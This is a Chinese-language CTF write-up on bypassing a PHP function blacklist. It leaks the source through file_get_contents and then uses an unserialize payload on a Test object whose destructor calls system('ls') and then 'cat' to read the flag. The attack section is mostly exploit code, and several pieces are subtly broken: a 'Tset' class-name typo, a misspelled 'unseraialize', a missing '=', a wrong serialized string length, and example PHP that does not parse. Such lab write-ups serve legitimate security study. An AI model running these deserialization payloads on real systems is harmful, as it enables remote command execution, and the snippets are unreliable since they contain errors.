各函数过滤绕过反序列化漏洞

各函数过滤绕过反序列化漏洞

打开页面,然后进行抓包,发现有两个post提交的参数为func和p,然后再看页面的提示,我们可以猜测func是函数,而p是函数里的参数,所以我们可以在抓的包里构造post提交的两个参数

1
func=file_get_contents&p=index.php

我们可以得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

其中,我们看见call_user_func()函数,我们可以利用call_user_func()函数

知识点

call_user_func()

1
call_user_func()函数是类似于一种特别的调用函数的方法

call_user_func_array()

1
call_user_func函数是类似于一种特别的调用函数的方法,不过参数要为数组

实例

call_user_func()

1
2
3
4
5
6
7
8
9
10
<?php

Class Test{
$a=0;
function b($a){
echo $a;
}

call_user_func('b',$a);
?>

call_user_func_array()

1
2
3
4
5
6
7
8
9
10
11
<?php

Class Test{

$a=0;
function b($c){
echo $c;
}
call_user_func_array('b',array($a));
call_user_func_array(array('Test','b'),array($a));
?>

但是,我们不知道flag在哪个文件里,所以我们使用system()函数来找flag的位置,但是system()被过滤掉了,但是我们发现它只对func进行函数的检测,所以我们可以利用反序列化的方式来构造func参数的值为system()
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$a=new Tset();
echo serialize($a);
?>

因此我们可以构造payload

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

我们便可以看到目录,找到flag所在文件后,只需构造

1
func=unseraialize&pO:4:"Test":2:{s:1:"p";s:2:"cat 文件名";s:4:"func";s:6:"system";}

可以看见flag